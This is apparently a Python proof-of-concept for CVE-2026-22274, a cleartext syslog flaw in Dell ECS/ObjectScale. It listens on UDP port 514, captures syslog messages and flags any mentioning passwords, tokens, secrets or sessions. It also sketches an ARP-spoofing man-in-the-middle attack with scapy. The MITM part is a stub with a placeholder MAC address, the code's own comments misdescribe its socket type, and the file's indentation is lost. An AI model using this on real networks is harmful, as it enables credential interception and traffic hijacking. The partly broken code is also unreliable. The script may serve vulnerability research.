# CVE-2026-22274 PoC - Dell ECS/ObjectScale Fabric Syslog Cleartext Transmission
# This PoC demonstrates sniffing syslog traffic from affected Dell systems
import socket
import struct
from datetime import datetime
def parse_syslog_packet(data):
"""Parse standard syslog packet format"""
try:
# Syslog message format: <PRI>VERSION TIMESTAMP HOSTNAME APP-NAME MSGID SD MSG
# For cleartext syslog, we can directly decode and read the content
decoded = data.decode('utf-8', errors='ignore')
return decoded
except Exception as e:
return f"Parse error: {str(e)}"
def sniff_syslog(target_ip=None, duration=60):
"""
Sniff syslog traffic (UDP port 514) to capture sensitive information
Args:
target_ip: Specific IP to filter (optional)
duration: Sniffing duration in seconds
"""
print(f"[*] Starting syslog sniffer for CVE-2026-22274")
print(f"[*] Target IP filter: {target_ip or 'All'}")
print(f"[*] Duration: {duration} seconds")
print("[*] Listening on UDP port 514 (Syslog)...\n")
# Create raw socket to capture UDP packets
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
try:
sock.bind(('', 514))
print("[+] Socket bound to port 514")
start_time = datetime.now()
packet_count = 0
sensitive_data_found = []
while (datetime.now() - start_time).seconds < duration:
sock.settimeout(1)
try:
data, addr = sock.recvfrom(65535)
packet_count += 1
# Filter by target IP if specified
if target_ip and addr[0] != target_ip:
continue
syslog_msg = parse_syslog_packet(data)
# Log captured data
print(f"[CAPTURED] From {addr[0]}:{addr[1]}")
print(f"[DATA] {syslog_msg[:200]}...") # Truncate for display
print("-" * 60)
# Check for sensitive keywords in the captured data
sensitive_keywords = ['password', 'token', 'secret', 'key', 'auth', 'credential', 'session']
for keyword in sensitive_keywords:
if keyword.lower() in syslog_msg.lower():
sensitive_data_found.append({
'source': addr[0],
'keyword': keyword,
'data': syslog_msg
})
print(f"[!] POTENTIAL SENSITIVE DATA DETECTED: {keyword}")
except socket.timeout:
continue
except PermissionError:
print("[-] Error: Root privileges required for raw socket access")
print("[*] Try running with sudo or use TCPdump alternative")
except Exception as e:
print(f"[-] Error: {str(e)}")
finally:
sock.close()
print(f"\n[*] Sniffing complete. Total packets: {packet_count}")
print(f"[*] Sensitive data captures: {len(sensitive_data_found)}")
return sensitive_data_found
def mitm_sniff(interface, target_ip, gateway_ip):
"""
Perform ARP spoofing to enable MITM attack on syslog traffic
Note: Requires scapy library - pip install scapy
"""
print("[*] MITM Attack Mode for CVE-2026-22274")
print("[*] This demonstrates the full attack chain")
print("\n[!] WARNING: Only for authorized security testing")
try:
from scapy.all import ARP, send, sniff, conf
conf.verb = 0 # Suppress scapy output
def arp_spoof(target, gateway):
"""Send ARP spoofing packets"""
arp_response = ARP(op=2, psrc=gateway, pdst=target, hwdst=get_mac(target))
send(arp_response)
print(f"[+] Sent ARP spoof to {target}")
def get_mac(ip):
"""Get MAC address for IP (simplified)"""
return "00:00:00:00:00:00" # Placeholder
print("[*] Starting ARP spoofing attack...")
print("[*] Target:", target_ip)
print("[*] Gateway:", gateway_ip)
# In real attack, would continuously send ARP packets
# and sniff the resulting traffic
except ImportError:
print("[-] scapy not installed. Install with: pip install scapy")
if __name__ == "__main__":
print("CVE-2026-22274 PoC - Dell ECS/ObjectScale Syslog Eavesdropping")
print("=" * 60)
# Uncomment to run:
# sniff_syslog(target_ip=None, duration=30)